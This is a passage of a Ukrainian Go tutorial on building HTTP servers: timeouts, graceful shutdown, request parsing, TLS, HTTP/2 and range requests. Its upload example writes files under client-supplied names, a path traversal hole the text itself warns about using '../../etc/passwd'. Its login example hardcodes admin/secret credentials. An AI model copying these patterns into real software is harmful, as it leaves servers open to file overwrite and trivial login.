5. Управління з'єднаннями: Keep-Alive

HTTP/1.1 за замовчуванням використовує постійні з'єднання (keep-alive). Go автоматично керує ними:

// Внутрішня логіка
func (w *response) shouldReuseConnection() bool {
    // Перевірка умов для повторного використання
    if w.closeAfterReply {
        return false
    }
    if w.requestBodyLimitHit || w.closedRequestBodyEarly() {
        return false
    }
    if w.req.Header.Get("Connection") == "close" {
        return false
    }
    if w.req.ProtoMajor < 1 || (w.req.ProtoMajor == 1 && w.req.ProtoMinor < 1) {
        return false
    }
    return true
}

Якщо з'єднання може бути переробленим, воно залишається відкритим, і сервер очікує наступного запиту.

Оптимізація: Завдяки keep-alive, десятки запитів можуть виконуватися через одне TCP-з'єднання, економлячи час на handshake. Але це також означає, що горутина залишається активною, поки з'єднання не закриється або не досягне IdleTimeout.


Створення кастомного http.Server: контроль над деталями

Функція http.ListenAndServe зручна для швидкого прототипування, але вона використовує налаштування за замовчуванням, які не завжди підходять для продакшн-систем. Наприклад, за замовчуванням немає таймаутів читання та запису, що може призвести до витоків ресурсів, коли повільний або зловмисний клієнт тримає з'єднання відкритим необмежений час (атака Slowloris).

Замість http.ListenAndServe ми можемо створити екземпляр структури http.Server із точними налаштуваннями:

package main

import (
    "context"
    "fmt"
    "log"
    "net/http"
    "os"
    "os/signal"
    "syscall"
    "time"
)

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "Сервер працює!")
    })

    // Створюємо кастомний сервер із налаштуванням таймаутів
    server := &http.Server{
        Addr:    ":8080",
        Handler: mux,

        // Таймаут на читання заголовків та тіла запиту
        ReadTimeout: 10 * time.Second,

        // Таймаут на запис відповіді
        WriteTimeout: 10 * time.Second,

        // Максимальний час очікування наступного запиту при keep-alive з'єднанні
        IdleTimeout: 120 * time.Second,

        // Максимальний розмір заголовків запиту (за замовчуванням 1 МБ)
        MaxHeaderBytes: 1 << 20, // 1 MB
    }

    // Запускаємо сервер у окремій горутині
    go func() {
        fmt.Println("🚀 Сервер запущено на http://localhost:8080")
        if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
            log.Fatalf("Помилка запуску сервера: %v", err)
        }
    }()

    // Чекаємо сигнал завершення роботи (Ctrl+C)
    quit := make(chan os.Signal, 1)
    signal.Notify(quit, os.Interrupt, syscall.SIGTERM)
    <-quit

    fmt.Println("\n🛑 Отримано сигнал завершення, зупиняємо сервер...")

    // Graceful Shutdown: даємо серверу 15 секунд на завершення поточних запитів
    ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
    defer cancel()

    if err := server.Shutdown(ctx); err != nil {
        log.Fatalf("Помилка при зупинці сервера: %v", err)
    }

    fmt.Println("✅ Сервер коректно зупинено")
}

Пояснення ключових параметрів

ReadTimeout

Максимальний час, протягом якого сервер чекає на отримання повного запиту (заголовки + тіло). Якщо клієнт відправляє дані дуже повільно і перевищує цей таймаут, з'єднання буде обірвано. Це захищає від атак типу Slowloris, коли зловмисник відкриває тисячі з'єднань і відправляє дані по одному байту за раз, виснажуючи ресурси сервера.

WriteTimeout

Максимальний час на запис відповіді клієнту. Якщо клієнт читає дані дуже повільно (наприклад, через повільну мережу), і сервер не може відправити відповідь протягом цього часу, з'єднання закривається.

IdleTimeout

Максимальний час очікування наступного запиту при постійному з'єднанні (Connection: keep-alive). Якщо клієнт не відправляє новий запит протягом цього часу, з'єднання закривається. Це запобігає накопиченню неактивних з'єднань, які займають ресурси сервера.

MaxHeaderBytes

Максимальний розмір секції заголовків запиту в байтах. За замовчуванням — 1 МБ. Якщо клієнт відправляє заголовки більшого розміру (наприклад, величезний cookie), сервер відхиляє запит із статус-кодом 431 Request Header Fields Too Large.

Чому таймаути критичні для продакшн-систем: У реальних умовах ваш HTTP-сервер може зіткнутися з повільними клієнтами (мобільні пристрої на 3G), обірваними з'єднаннями, зловмисними ботами. Без налаштованих таймаутів кожне таке з'єднання залишається відкритим назавжди, створюючи горутину, яка ніколи не завершиться. Через кілька годин або днів роботи ваш сервер може вичерпати пам'ять або досягти ліміту файлових дескрипторів, і він перестане приймати нові з'єднання. Завжди налаштовуйте таймаути у продакшн-середовищі.

Graceful Shutdown: коректне завершення роботи сервера

Уявіть ситуацію: ви розгортаєте нову версію вашого сервера, і вам потрібно зупинити поточний процес. Якщо ви просто вбиваєте процес (наприклад, командою kill -9), всі активні HTTP-запити будуть обірвані посередині обробки: клієнт отримає помилку з'єднання, транзакція в базі даних може залишитися незавершеною, файл може бути записаний частково.

Метод server.Shutdown(ctx) реалізує плавне завершення роботи (graceful shutdown):

  1. Сервер припиняє приймати нові вхідні з'єднання.
  2. Усі вже активні з'єднання продовжують обслуговуватися до завершення поточних запитів.
  3. Після завершення всіх запитів (або після закінчення таймауту контексту) сервер коректно завершує роботу.

Це дозволяє забезпечити нульовий час простою (zero downtime deployment) при розгортанні нових версій: новий екземпляр сервера запускається паралельно зі старим, балансувальник навантаження перенаправляє новий трафік на новий сервер, а старий сервер завершує обробку поточних запитів і коректно вимикається.

Loading diagram...
@startuml
skinparam style plain
skinparam backgroundColor #FFFFFF

actor "Оператор" as Operator #DBEAFE
participant "HTTP Сервер" as Server #FEF3C7
participant "Активне з'єднання 1" as Conn1 #DCFCE7
participant "Активне з'єднання 2" as Conn2 #DCFCE7

Operator -> Server : SIGTERM (Ctrl+C)
note right of Server #FEE2E2
  Сервер припиняє приймати
  нові з'єднання
end note

Server -> Conn1 : Продовжує обробку запиту
Server -> Conn2 : Продовжує обробку запиту

Conn1 -> Server : Завершення запиту 1
Conn2 -> Server : Завершення запиту 2

Server -> Server : Усі запити завершено
Server -> Operator : Сервер зупинено коректно ✅
@enduml

Обробка різних типів запитів: параметри, заголовки, форми

Розглянемо практичні приклади обробки різних типів HTTP-запитів.

Читання параметрів URL (Query Parameters)

Query-параметри передаються в URL після символу ?:

GET /api/products?category=electronics&page=2&limit=20

У Go вони доступні через поле r.URL.Query():

func productsHandler(w http.ResponseWriter, r *http.Request) {
    query := r.URL.Query()

    category := query.Get("category")          // "electronics"
    page := query.Get("page")                  // "2"
    limit := query.Get("limit")                // "20"

    // Якщо параметр відсутній, повертається порожній рядок
    if category == "" {
        http.Error(w, "Параметр 'category' є обов'язковим", http.StatusBadRequest)
        return
    }

    fmt.Fprintf(w, "Категорія: %s, Сторінка: %s, Ліміт: %s\n", category, page, limit)
}

Читання заголовків запиту

Заголовки доступні через поле r.Header:

func authHandler(w http.ResponseWriter, r *http.Request) {
    // Отримуємо заголовок Authorization
    authHeader := r.Header.Get("Authorization")

    if authHeader == "" {
        http.Error(w, "Відсутній заголовок Authorization", http.StatusUnauthorized)
        return
    }

    // Очікуємо формат: "Bearer <token>"
    if !strings.HasPrefix(authHeader, "Bearer ") {
        http.Error(w, "Невалідний формат токена", http.StatusUnauthorized)
        return
    }

    token := strings.TrimPrefix(authHeader, "Bearer ")
    fmt.Fprintf(w, "Токен отримано: %s\n", token)
}

Обробка JSON-тіла запиту

Для POST/PUT/PATCH-запитів тіло запиту читається через поле r.Body, яке реалізує інтерфейс io.ReadCloser:

type User struct {
    Name  string `json:"name"`
    Email string `json:"email"`
    Age   int    `json:"age"`
}

func createUserHandler(w http.ResponseWriter, r *http.Request) {
    // Перевіряємо метод
    if r.Method != http.MethodPost {
        http.Error(w, "Method Not Allowed", http.StatusMethodNotAllowed)
        return
    }

    // Перевіряємо заголовок Content-Type
    contentType := r.Header.Get("Content-Type")
    if contentType != "application/json" {
        http.Error(w, "Очікується Content-Type: application/json", http.StatusBadRequest)
        return
    }

    // Декодуємо JSON із тіла запиту
    var user User
    decoder := json.NewDecoder(r.Body)
    if err := decoder.Decode(&user); err != nil {
        http.Error(w, fmt.Sprintf("Невалідний JSON: %v", err), http.StatusBadRequest)
        return
    }
    defer r.Body.Close()

    // Валідація
    if user.Name == "" || user.Email == "" {
        http.Error(w, "Поля 'name' та 'email' обов'язкові", http.StatusUnprocessableEntity)
        return
    }

    // Формуємо відповідь
    user.Age = 25 // Симулюємо обробку

    w.Header().Set("Content-Type", "application/json")
    w.WriteHeader(http.StatusCreated)
    json.NewEncoder(w).Encode(user)
}

Приклад виклику через cURL:

curl -X POST http://localhost:8080/users \
  -H "Content-Type: application/json" \
  -d '{"name": "Олена", "email": "olena@example.com"}'

Обробка форм application/x-www-form-urlencoded

Якщо клієнт відправляє дані через HTML-форму:

<form action="/login" method="POST">
  <input type="text" name="username" />
  <input type="password" name="password" />
  <button type="submit">Увійти</button>
</form>

Сервер обробляє форму так:

func loginHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
        http.Error(w, "Method Not Allowed", http.StatusMethodNotAllowed)
        return
    }

    // Парсимо форму (читає r.Body та парсить дані)
    if err := r.ParseForm(); err != nil {
        http.Error(w, "Помилка парсингу форми", http.StatusBadRequest)
        return
    }

    username := r.FormValue("username")
    password := r.FormValue("password")

    if username == "" || password == "" {
        http.Error(w, "Логін та пароль обов'язкові", http.StatusBadRequest)
        return
    }

    // Перевіряємо облікові дані (у реальності — звірка з БД)
    if username == "admin" && password == "secret" {
        fmt.Fprintf(w, "Вітаємо, %s! Ви увійшли у систему.\n", username)
    } else {
        http.Error(w, "Невірний логін або пароль", http.StatusUnauthorized)
    }
}

Обробка завантаження файлів multipart/form-data

Для завантаження файлів використовується кодування multipart/form-data:

func uploadFileHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
        http.Error(w, "Method Not Allowed", http.StatusMethodNotAllowed)
        return
    }

    // Обмежуємо максимальний розмір завантажуваного файлу до 10 МБ
    r.ParseMultipartForm(10 << 20) // 10 MB

    // Отримуємо файл із поля форми "file"
    file, header, err := r.FormFile("file")
    if err != nil {
        http.Error(w, "Помилка отримання файлу", http.StatusBadRequest)
        return
    }
    defer file.Close()

    fmt.Printf("📁 Завантажено файл: %s (розмір: %d байт)\n", header.Filename, header.Size)

    // Зберігаємо файл на диск
    dst, err := os.Create("./uploads/" + header.Filename)
    if err != nil {
        http.Error(w, "Помилка збереження файлу", http.StatusInternalServerError)
        return
    }
    defer dst.Close()

    if _, err := io.Copy(dst, file); err != nil {
        http.Error(w, "Помилка запису файлу", http.StatusInternalServerError)
        return
    }

    w.WriteHeader(http.StatusCreated)
    fmt.Fprintf(w, "Файл '%s' успішно завантажено\n", header.Filename)
}

Приклад виклику через cURL:

curl -X POST http://localhost:8080/upload \
  -F "file=@/path/to/image.png"
Безпека при завантаженні файлів: Завжди перевіряйте тип файлу (header.Header.Get("Content-Type")), розмір файлу та обмежуйте дозволені розширення. Ніколи не зберігайте файли з оригінальними іменами, які надає клієнт — це може призвести до атак типу Path Traversal (наприклад, файл з іменем ../../etc/passwd може перезаписати системні файли). Генеруйте унікальні випадкові імена за допомогою UUID або хешів.

Налаштування TLS: захищені HTTPS-з'єднання

Для запуску сервера з підтримкою TLS (HTTPS) використовується метод server.ListenAndServeTLS(certFile, keyFile). Вам потрібні два файли:

  • Сертифікат (server.crt) — публічний ключ у форматі X.509.
  • Приватний ключ (server.key) — секретний ключ для дешифрування трафіку.

Генерація самопідписного сертифіката для розробки

openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt \
  -days 365 -nodes -subj "/CN=localhost"

Ця команда створить два файли: server.crt та server.key.

Запуск HTTPS-сервера

package main

import (
    "fmt"
    "log"
    "net/http"
)

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "🔒 Захищене з'єднання через HTTPS")
    })

    server := &http.Server{
        Addr:    ":8443",
        Handler: mux,
    }

    fmt.Println("🔐 HTTPS-сервер запущено на https://localhost:8443")
    if err := server.ListenAndServeTLS("server.crt", "server.key"); err != nil {
        log.Fatalf("Помилка запуску HTTPS-сервера: %v", err)
    }
}

Тепер відкрийте браузер і перейдіть за адресою https://localhost:8443. Браузер попередить вас про самопідписний сертифікат (оскільки він не довіряється жодному центру сертифікації), але ви зможете додати виключення і побачити захищене з'єднання.

Автоматичне визначення HTTP/2: Якщо клієнт підтримує HTTP/2 (всі сучасні браузери), Go-сервер автоматично перемикається на HTTP/2 при TLS-з'єднанні через механізм ALPN (Application-Layer Protocol Negotiation). Вам не потрібно нічого налаштовувати — Go-рантайм сам обирає найкращий протокол.

HTTP/2 специфічні можливості: глибше розуміння

Хоча Go автоматично підтримує HTTP/2, розуміння його унікальних можливостей дозволяє проєктувати більш ефективні API та оптимізувати продуктивність.

Мультиплексування потоків: паралельні запити в одному з'єднанні

У HTTP/1.1, навіть з постійними з'єднаннями, запити обробляються послідовно — сервер відповідає на перший запит, потім на другий, потім на третій. Це створює Head-of-Line Blocking: якщо перший запит обробляється довго (складний SQL-запит, зовнішній API), всі наступні запити чекають у черзі.

HTTP/2 вирішує це через мультиплексування (multiplexing): всі запити та відповіді розбиваються на маленькі фрейми (frames), які передаються паралельно в межах одного TCP-з'єднання. Кожен логічний запит отримує унікальний Stream ID, і сервер може відповідати на запити у будь-якому порядку.

Loading diagram...
@startuml
skinparam style plain
skinparam backgroundColor #FFFFFF

package "HTTP/1.1: послідовна обробка" #FEE2E2 {
    rectangle "Запит 1 (500ms)" as R1_1 #FEF3C7
    rectangle "Запит 2 (50ms)" as R1_2 #DBEAFE
    rectangle "Запит 3 (100ms)" as R1_3 #DCFCE7
    
    R1_1 -down-> R1_2
    R1_2 -down-> R1_3
    
    note bottom of R1_3 #FEE2E2
        Загальний час: 650ms
        Запит 2 чекав 500ms!
    end note
}

package "HTTP/2: паралельна обробка" #DCFCE7 {
    rectangle "Запит 1 (500ms)" as R2_1 #FEF3C7
    rectangle "Запит 2 (50ms)" as R2_2 #DBEAFE
    rectangle "Запит 3 (100ms)" as R2_3 #E0E7FF
    
    note bottom #E0F2FE
        Загальний час: 500ms
        Всі запити обробляються паралельно!
    end note
}

@enduml

Server Push: проактивна відправка ресурсів

Server Push дозволяє серверу відправляти ресурси клієнту до того, як той їх запросив. Коли браузер запитує HTML-сторінку, сервер може одразу "проштовхнути" CSS, JavaScript та зображення, не чекаючи, поки браузер розпарсить HTML і відправить додаткові запити.

Приклад сценарію:

  1. Клієнт: GET /index.html
  2. Сервер аналізує index.html і бачить, що вона посилається на /styles.css та /app.js.
  3. Сервер одночасно відправляє:
    • Відповідь на GET /index.html.
    • Push-потік для /styles.css (клієнт його не запитував!).
    • Push-потік для /app.js.

Коли браузер парсить HTML і зустрічає <link rel="stylesheet" href="/styles.css">, файл вже знаходиться в кеші браузера — нуль додаткових запитів!

Реалізація Server Push у Go:

func indexHandler(w http.ResponseWriter, r *http.Request) {
    // Перевіряємо, чи підтримує клієнт HTTP/2 Push
    pusher, ok := w.(http.Pusher)
    if ok {
        // Проактивно відправляємо критичні ресурси
        if err := pusher.Push("/static/styles.css", nil); err != nil {
            log.Printf("Failed to push: %v", err)
        }
        if err := pusher.Push("/static/app.js", nil); err != nil {
            log.Printf("Failed to push: %v", err)
        }
    }

    // Повертаємо HTML
    w.Header().Set("Content-Type", "text/html; charset=utf-8")
    fmt.Fprintf(w, `
<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="/static/styles.css">
</head>
<body>
    <h1>Вітаємо!</h1>
    <script src="/static/app.js"></script>
</body>
</html>
    `)
}
Коли НЕ використовувати Server Push: Якщо браузер уже має ресурс у кеші, Server Push буде марнотратством трафіку — сервер відправить файл повторно. Також, якщо клієнт використовує повільне з'єднання, проштовхування великих ресурсів може заблокувати критичні дані. Використовуйте обережно та лише для критичних ресурсів (CSS above-the-fold, fonts).

Пріоритизація потоків: контроль порядку обробки

HTTP/2 дозволяє клієнту вказати пріоритети потоків (stream priorities): які ресурси важливіші і повинні передаватися першими. Браузери автоматично встановлюють пріоритети:

  • Найвищий пріоритет: HTML, критичні CSS.
  • Середній пріоритет: JavaScript, шрифти.
  • Низький пріоритет: зображення нижче згину сторінки, аналітика.

Сервер може використовувати ці пріоритети для оптимізації порядку відправки байтів. У Go стандартна бібліотека автоматично підтримує пріоритети, але сторонні бібліотеки (як x/net/http2) надають більше контролю.

HPACK: стиснення заголовків

HTTP-заголовки можуть бути дуже об'ємними: User-Agent, Cookie, Authorization часто містять сотні байтів і повторюються в кожному запиті. HTTP/2 використовує алгоритм HPACK для стиснення заголовків:

  1. Створює динамічну таблицю спільних заголовків між клієнтом і сервером.
  2. Замість відправки повного заголовка Cookie: session_id=abc123... (50 байт), HTTP/2 відправляє індекс у таблиці (1–2 байти).
  3. Нові заголовки стискаються через Huffman-кодування.

Результат: заголовки займають у 5–10 разів менше місця, ніж у HTTP/1.1.

Автоматичне стиснення у Go: Стандартна бібліотека net/http автоматично використовує HPACK для HTTP/2-з'єднань. Вам не потрібно нічого налаштовувати — це відбувається на рівні протоколу. Але розуміння HPACK допомагає зрозуміти, чому HTTP/2 набагато ефективніший для API з великою кількістю метаданих.

Потокове введення/виведення: робота з великими даними

Одна з найпотужніших можливостей Go — це потокова обробка даних через інтерфейси io.Reader та io.Writer. Ви можете передавати великі файли, відео або логи без завантаження всього об'єму даних у пам'ять.

Приклад: потокова передача великого файлу

func downloadFileHandler(w http.ResponseWriter, r *http.Request) {
    // Відкриваємо великий файл
    file, err := os.Open("./data/large-video.mp4")
    if err != nil {
        http.Error(w, "Файл не знайдено", http.StatusNotFound)
        return
    }
    defer file.Close()

    // Отримуємо інформацію про файл
    fileInfo, _ := file.Stat()

    // Встановлюємо заголовки для завантаження
    w.Header().Set("Content-Type", "video/mp4")
    w.Header().Set("Content-Disposition", "attachment; filename=video.mp4")
    w.Header().Set("Content-Length", fmt.Sprintf("%d", fileInfo.Size()))

    // Потокова передача файлу клієнту
    // io.Copy читає з file та записує у w порціями (за замовчуванням 32 КБ)
    if _, err := io.Copy(w, file); err != nil {
        log.Printf("Помилка передачі файлу: %v", err)
    }
}

Функція io.Copy(w, file) автоматично читає файл блоками по 32 КБ і записує у HTTP-відповідь. Це дозволяє передавати файли розміром у декілька гігабайтів без споживання великої кількості оперативної пам'яті.

Приклад: потокове читання тіла запиту

Якщо клієнт відправляє великий файл у POST-запиті, ви можете читати його потоково:

func uploadLargeFileHandler(w http.ResponseWriter, r *http.Request) {
    // Створюємо файл на диску
    dst, err := os.Create("./uploads/received-file.bin")
    if err != nil {
        http.Error(w, "Помилка створення файлу", http.StatusInternalServerError)
        return
    }
    defer dst.Close()

    // Потоково копіюємо дані з тіла запиту у файл
    bytesWritten, err := io.Copy(dst, r.Body)
    if err != nil {
        http.Error(w, "Помилка збереження даних", http.StatusInternalServerError)
        return
    }

    fmt.Fprintf(w, "Отримано %d байт даних\n", bytesWritten)
}

Range Requests: часткове завантаження великих файлів

Протокол HTTP підтримує механізм часткового завантаження (partial content / range requests), який дозволяє клієнту запитувати лише певний діапазон байтів файлу. Це критично важливо для:

  • Докачування файлів: Якщо завантаження великого файлу було перервано, клієнт може продовжити з місця обриву замість завантаження з початку.
  • Потокового відео: Відеоплеєри запитують лише ті сегменти, які зараз відтворюються, замість завантаження всього файлу.
  • Перегляду PDF: PDF-в'юери завантажують лише поточні сторінки.

Як працюють Range Requests

Клієнт вказує діапазон байтів у заголовку Range:

GET /video.mp4 HTTP/1.1
Range: bytes=0-1023

Сервер повертає лише перші 1024 байти (0–1023) зі статус-кодом 206 Partial Content:

HTTP/1.1 206 Partial Content
Content-Range: bytes 0-1023/5242880
Content-Length: 1024
Content-Type: video/mp4

[binary data 1024 bytes]

Розбір заголовка Content-Range:

  • bytes 0-1023 — повернутий діапазон.
  • /5242880 — загальний розмір файлу (5 МБ).

Якщо клієнт запитує з 1024-го байта до кінця:

Range: bytes=1024-

Сервер поверне все, починаючи з байта 1024 до кінця файлу.

Клієнт також може запитувати множинні діапазони:

Range: bytes=0-1023, 5000-6000

Реалізація Range Requests у Go

Go стандартна бібліотека net/http автоматично підтримує Range Requests при використанні http.ServeFile або http.ServeContent:

func videoHandler(w http.ResponseWriter, r *http.Request) {
    // http.ServeFile автоматично обробляє Range-запити
    http.ServeFile(w, r, "./videos/movie.mp4")
}

Якщо клієнт надіслав заголовок Range, Go автоматично:

  1. Парсить діапазон.
  2. Відкриває файл і переходить до потрібної позиції (file.Seek).
  3. Читає та повертає лише запитаний діапазон.
  4. Встановлює статус-код 206 та заголовки Content-Range.

Ручна реалізація Range Requests

Для більшого контролю можна реалізувати підтримку вручну:

func rangeFileHandler(w http.ResponseWriter, r *http.Request) {
    file, err := os.Open("./data/large-file.bin")
    if err != nil {
        http.Error(w, "File not found", http.StatusNotFound)
        return
    }
    defer file.Close()

    fileInfo, _ := file.Stat()
    fileSize := fileInfo.Size()

    // Перевіряємо наявність заголовка Range
    rangeHeader := r.Header.Get("Range")
    if rangeHeader == "" {
        // Повний файл
        w.Header().Set("Content-Length", fmt.Sprintf("%d", fileSize))
        w.Header().Set("Content-Type", "application/octet-stream")
        io.Copy(w, file)
        return
    }

    // Парсимо Range: "bytes=1024-2047"
    var start, end int64
    _, err = fmt.Sscanf(rangeHeader, "bytes=%d-%d", &start, &end)
    if err != nil {
        // Якщо формат "bytes=1024-" (до кінця)
        fmt.Sscanf(rangeHeader, "bytes=%d-", &start)
        end = fileSize - 1
    }

    // Валідація діапазону
    if start < 0 || start >= fileSize || end >= fileSize || start > end {
        w.Header().Set("Content-Range", fmt.Sprintf("bytes */%d", fileSize))
        http.Error(w, "Requested Range Not Satisfiable", http.StatusRequestedRangeNotSatisfiable)
        return
    }

    // Переходимо до початкової позиції
    file.Seek(start, io.SeekStart)

    // Обчислюємо довжину діапазону
    rangeLength := end - start + 1

    // Встановлюємо заголовки для 206 Partial Content
    w.Header().Set("Content-Range", fmt.Sprintf("bytes %d-%d/%d", start, end, fileSize))
    w.Header().Set("Content-Length", fmt.Sprintf("%d", rangeLength))
    w.Header().Set("Content-Type", "application/octet-stream")
    w.Header().Set("Accept-Ranges", "bytes")
    w.WriteHeader(http.StatusPartialContent)

    // Передаємо лише запитаний діапазон
    io.CopyN(w, file, rangeLength)
}

Тестування Range Requests через cURL

# Завантажити перші 1024 байти
curl -H "Range: bytes=0-1023" http://localhost:8080/file -o part1.bin

# Завантажити наступні 1024 байти (докачування)
curl -H "Range: bytes=1024-2047" http://localhost:8080/file -o part2.bin

# Об'єднати частини
cat part1.bin part2.bin > full-file.bin
Практичне застосування: Range Requests використовуються медіаплеєрами (YouTube, Netflix), менеджерами завантажень (wget, aria2), PDF-переглядачами та всюди, де потрібне ефективне завантаження великих файлів. Якщо ваш API роздає великі файли, завжди підтримуйте Range Requests — це різко покращує UX для користувачів із повільним або нестабільним інтернетом.

Інтеграція з контекстом: таймаути та скасування операцій

Кожен HTTP-запит у Go має вбудований контекст (context), доступний через метод r.Context(). Контекст автоматично скасовується, якщо:

  • Клієнт закриває з'єднання (наприклад, користувач закрив браузер).
  • Сервер досягає таймауту ReadTimeout або WriteTimeout.
  • Ви явно викликаєте cancel() у випадку помилки.

Приклад: виконання тривалої операції з підтримкою скасування

func longOperationHandler(w http.ResponseWriter, r *http.Request) {
    ctx := r.Context()

    // Канал для результату операції
    result := make(chan string, 1)

    // Запускаємо тривалу операцію в окремій горутині
    go func() {
        // Симулюємо тривалу обробку (наприклад, запит до зовнішнього API)
        time.Sleep(5 * time.Second)
        result <- "Операція завершена успішно"
    }()

    // Чекаємо або завершення операції, або скасування контексту
    select {
    case res := <-result:
        fmt.Fprintf(w, "%s\n", res)

    case <-ctx.Done():
        // Клієнт закрив з'єднання або вийшов таймаут
        log.Println("⚠️ Запит скасовано клієнтом або таймаутом")
        return
    }
}

Якщо користувач закриє браузер до того, як операція завершиться (протягом 5 секунд), сервер отримає сигнал через ctx.Done() і може припинити обробку, звільнивши ресурси.

Передавайте контекст у всі виклики: Завжди передавайте ctx := r.Context() у всі виклики баз даних, зовнішніх API, черг повідомлень. Це дозволяє каскадно скасовувати операції, якщо клієнт більше не чекає на відповідь. Наприклад, db.QueryContext(ctx, query) автоматично припинить SQL-запит, якщо контекст буде скасовано.

Модульне тестування HTTP-обробників

Пакет net/http/httptest дозволяє тестувати HTTP-обробники без запуску реального сервера. Ви створюєте фіктивний запит і фіксуєте відповідь у структурі httptest.ResponseRecorder.

Приклад тесту обробника

package main

import (
    "net/http"
    "net/http/httptest"
    "strings"
    "testing"
)

func healthHandler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "application/json")
    w.WriteHeader(http.StatusOK)
    w.Write([]byte(`{"status": "healthy"}`))
}

func TestHealthHandler(t *testing.T) {
    // Створюємо фіктивний HTTP-запит
    req := httptest.NewRequest(http.MethodGet, "/health", nil)

    // Створюємо ResponseRecorder для запису відповіді
    rr := httptest.NewRecorder()

    // Викликаємо обробник
    healthHandler(rr, req)

    // Перевіряємо статус-код
    if rr.Code != http.StatusOK {
        t.Errorf("Очікувався статус-код 200, отримано %d", rr.Code)
    }

    // Перевіряємо тіло відповіді
    expected := `{"status": "healthy"}`
    if strings.TrimSpace(rr.Body.String()) != expected {
        t.Errorf("Очікувалося тіло %s, отримано %s", expected, rr.Body.String())
    }

    // Перевіряємо заголовок Content-Type
    contentType := rr.Header().Get("Content-Type")
    if contentType != "application/json" {
        t.Errorf("Очікувався Content-Type application/json, отримано %s", contentType)
    }
}

Запустіть тест:

go test -v

Результат:

=== RUN   TestHealthHandler
--- PASS: TestHealthHandler (0.00s)
PASS
ok      your-module-name    0.002s
Переваги модульного тестування HTTP-шару: Тести виконуються миттєво (без мережевих викликів), їх можна запускати тисячі разів у секунду в CI/CD-пайплайнах, вони не вимагають запуску реального сервера або бази даних. Це дозволяє швидко перевіряти логіку обробників, валідацію даних, коректність статус-кодів та заголовків.

Повний приклад: REST API для управління задачами

Тепер об'єднаємо всі отримані знання у один повний робочий приклад — простий REST API для управління списком задач (To-Do List).

Тестування API через cURL

Запустіть сервер:

go run cmd/todo-api/main.go

Отримати всі задачі:

curl http://localhost:8080/tasks

Відповідь:

{
  "tasks": [
    {
      "id": 1,
      "title": "Вивчити HTTP протокол",
      "completed": false,
      "created_at": "2026-09-01T12:30:00Z"
    },
    {
      "id": 2,
      "title": "Створити REST API на Go",
      "completed": false,
      "created_at": "2026-09-01T12:30:01Z"
    }
  ],
  "count": 2
}

Створити нову задачу:

curl -X POST http://localhost:8080/tasks \
  -H "Content-Type: application/json" \
  -d '{"title": "Додати документацію API"}'

Відповідь (статус-код 201):

{
  "id": 4,
  "title": "Додати документацію API",
  "completed": false,
  "created_at": "2026-09-01T12:35:00Z"
}

Отримати задачу за ID:

curl http://localhost:8080/tasks/1

Видалити задачу:

curl -X DELETE http://localhost:8080/tasks/1

Відповідь: статус-код 204 (No Content).


Інтеграція з клієнтами на різних платформах

Підключення з Desktop-клієнта (JavaFX / C# Avalonia)

У JavaFX ви можете використовувати бібліотеку HttpClient:

HttpClient client = HttpClient.newHttpClient();
HttpRequest request = HttpRequest.newBuilder()
    .uri(URI.create("http://localhost:8080/tasks"))
    .header("Content-Type", "application/json")
    .GET()
    .build();

HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
System.out.println(response.body());

У C# Avalonia:

using var httpClient = new HttpClient();
var response = await httpClient.GetStringAsync("http://localhost:8080/tasks");
Console.WriteLine(response);

Підключення з мобільного клієнта (React Native)

fetch('http://localhost:8080/tasks')
  .then(response => response.json())
  .then(data => console.log(data.tasks))
  .catch(error => console.error('Error:', error));
CORS для веб- та мобільних клієнтів: Якщо ваш клієнт працює в браузері або через React Native на іншому домені/порту, вам потрібно налаштувати CORS-заголовки на сервері. У наступній лекції ми детально розглянемо патерн Middleware для автоматичної обробки CORS.

Підсумкові запитання для самоперевірки


Висновки та ключові поняття

У цій лекції ми здійснили всебічне дослідження протоколу HTTP та його реалізації в Go — від елементарного TCP-сервера до професійних продакшн-застосунків із підтримкою кешування, часткового завантаження та HTTP/2. Ми розібрали:

📚 Фундаментальні концепції HTTP

  • Еволюція протоколу: HTTP/1.0 → HTTP/1.1 (постійні з'єднання) → HTTP/2 (мультиплексування, Server Push, HPACK) → HTTP/3 (QUIC).
  • Анатомія запитів/відповідей: стартовий рядок, заголовки, тіло, структура повідомлень.
  • Семантика HTTP-методів: GET (safe, idempotent), POST (not idempotent), PUT/PATCH (idempotent), DELETE (idempotent).
  • Статус-коди: 1xx (інформаційні), 2xx (успіх), 3xx (редиректи), 4xx (помилки клієнта), 5xx (помилки сервера).
  • Редиректи: 301 vs 307 vs 308, збереження методу, ланцюжки редиректів.

🔐 Безпека та стан

  • HTTP Cookies: життєвий цикл, session vs persistent, атрибути безпеки (HttpOnly, Secure, SameSite).
  • Захист від атак: XSS (HttpOnly), MITM (Secure), CSRF (SameSite).
  • Таймаути та захист: ReadTimeout, WriteTimeout, IdleTimeout, захист від Slowloris.
  • TLS/HTTPS: налаштування сертифікатів, автоматична підтримка HTTP/2 через ALPN.

⚡ Оптимізація продуктивності

  • HTTP Caching: Cache-Control, max-age, ETag, Last-Modified, умовні запити (If-None-Match, If-Modified-Since), статус-код 304.
  • Content Negotiation: Accept, Accept-Encoding (gzip, br), Accept-Language, багатоформатні API.
  • Range Requests: часткове завантаження (статус-код 206), докачування файлів, потокове відео.
  • HTTP/2 можливості: мультиплексування потоків, Server Push, пріоритизація, HPACK стиснення заголовків.

🛠️ Практична реалізація у Go

  • Пакет net/http: інтерфейс http.Handler, http.ServeMux, http.HandlerFunc.
  • Кастомний сервер: http.Server з налаштуванням таймаутів, TLS, MaxHeaderBytes.
  • Обробка різних типів запитів: query-параметри, заголовки, JSON, форми, multipart/form-data, потокові дані.
  • Potokове введення/виведення: io.Copy, io.CopyN, передача великих файлів без завантаження в пам'ять.
  • Graceful Shutdown: коректне завершення при SIGTERM/SIGINT, контекст із таймаутом.
